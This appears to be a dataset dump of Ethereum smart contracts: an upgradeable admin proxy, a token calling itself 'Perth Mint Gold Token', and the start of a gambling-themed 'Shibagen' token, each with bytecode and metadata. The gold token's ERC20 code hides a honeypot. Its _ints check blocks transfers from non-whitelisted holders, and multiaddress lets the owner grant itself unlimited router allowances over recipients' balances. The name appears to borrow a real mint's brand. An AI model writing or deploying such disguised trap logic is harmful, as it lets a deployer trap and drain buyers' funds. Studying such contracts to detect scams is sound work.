return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220f18021ccf4caeda92381153066b90d5e1abbacce61a73ea8e94a8529b70a5f8e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,409 |
0x8f1414933313eeadef4a0020bfe50301c3315691
|
//--------------------------------------------------------
//https://pmgt.finance/
//Perth Mint Gold Token
//--------------------------------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _Erc20Token(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b6216014137b3babe8fc4247e97d387c595dad9931627c528d251799fe4cbe3d64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 4,410 |
0xe604476d7c578ea0fbf8228509841de08732bc65
|
/*
A casino is a place that some people find similar to a hotel, where you can enjoy various types staying up all night but enjoying gambling activities at the same time.
However, Casino is actually a Colosseum. It is a place for gladiators to fight, to seize, to conqueror.
You either double your bet or you earn nothing if you are not a fighter material.
Living in a cryptocurrency world is exactly like gambling in a Casino; you need to play to earn your profit.
Shibagen is designed to tell those jeets. You either die like a gladiators or live long to see yourself becomes a stupid loser. Be bold, not jeets !
Telegram: https://t.me/shibageninu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
